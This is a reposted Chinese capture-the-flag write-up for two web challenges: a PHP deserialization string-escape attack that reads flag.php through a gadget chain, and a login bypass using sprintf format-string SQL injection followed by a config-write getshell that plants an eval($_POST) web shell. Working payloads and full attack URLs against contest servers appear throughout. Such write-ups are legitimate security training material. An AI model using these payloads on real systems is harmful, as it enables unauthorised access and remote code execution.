安恒四月春季战 - web

安恒四月春季战 - web

Ezunserialize

打开获取到源码:

 <?php
show_source("index.php");
function write($data) {
    
    
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    
    
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    
    
    public $username;
    public $password;
    function __construct($a, $b){
    
    
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    
    
    public $b = 'gqy';
    function __destruct(){
    
    
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    
    
    public $c;
    function __toString(){
    
    
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a)))); 

可以看见有替换!!!是的没错,又是反序列化字符逃逸~~~
\0\0\0本来是6个字符,但是被替换成chr(0) . '*' . chr(0)之后只有三个,,
而且他的write先调用,read后调用,
如下:

我们username传入27个\0,password传入1234";s:3:"age";payload
由于chr(0)不可见,用文字代替了
O:1:"A":2:{s:8:"username";s:54:"27个字符";s:8:"password";s:22:"1234";s:3:"age";payload;}

这个反序列化的payload好构造:

<?php
class A{
    
    
    public $username;
    public $password;
    function __construct($a, $b){
    
    
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    
    
    public $b;
	function __construct(){
    
    
        $this->b = new C();
    }
}

class C{
    
    
    public $c;
	function __construct(){
    
    
        $this->c = "flag.php";
    }
} 
$a = new A("123",new B());
echo serialize($a);
?>

O:1:"A":2:{
    
    s:8:"username";s:3:"123";s:8:"password";O:1:"B":1:{
    
    s:1:"b";O:1:"C":1:{
    
    s:1:"c";s:8:"flag.php";}}}

之后将这个payload进行添加进去即可~
本题的payload:

a = \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
b = 124";s:3:"age";O:1:"A":2:{s:8:"username";s:3:"123";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
http://183.129.189.60:10001/index.php?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=124%22;s:3:%22age%22;O:1:%22A%22:2:{s:8:%22username%22;s:3:%22123%22;s:8:%22password%22;O:1:%22B%22:1:{s:1:%22b%22;O:1:%22C%22:1:{s:1:%22c%22;s:8:%22flag.php%22;}}}

得到flag:
在这里插入图片描述

babytricks

这道题目没有做出来,这里记一下考点,,,,
一、格式化字符串
打开源码可以看见sql语句:

select * from user where username='$user' and password='%s'

由于题目过滤了单引号,还有反斜杠,还有下划线等等,,常规注入就不行了,,,,
格式化字符串,采用占位符:%1$把引号给吞了,代码如下:

<?php
$user = "%1$";
$pass = " or 1=1#";
$sql = "select * from user where username='$user' and password='%s'";
echo sprintf( $sql, $pass) ;

运行结果:
select * from user where username='nd password=' or 1=1#'

由于这里or也被过滤了,所以我们可以使用^0,如下当我们查询一个不存在的列名时,也能查询成功:
在这里插入图片描述
构造username=%1$&password=^0#就能得到后台的账号密码

二:单行模式getshell
后台登录之后我们就能得到源码:

<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
    
    
    die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
    
    
    $shell= addslashes($_GET['shell']);
    $file = file_get_contents('./shell.php');
    $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{
      
      $shell}';", $file);
    file_put_contents('./shell.php', $file);
}else{
    
    
    echo "set your shell"."<br>";
    chdir("/");
    highlight_file(dirname(__FILE__)."/admin.php");
}
?>

这个微笑师傅和p牛大神都写过文章~~ 膜拜Orz
经典写配置漏洞与几种变形
小密圈经典写配置漏洞与几种变形学习
原理和payload文中已经说得很清楚了!!!再次膜拜Orz
payload:

http://183.129.189.60:10006/admin/admin.php?shell=;eval($_POST[y1ng]);
http://183.129.189.60:10006/admin/admin.php?shell=$0

就能getshell了~~~ 简直不要太秀!!!

三、bypass disable_functions
官方wp出来再来填吧,说是有直播,期待ing!暂略~~

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/105750166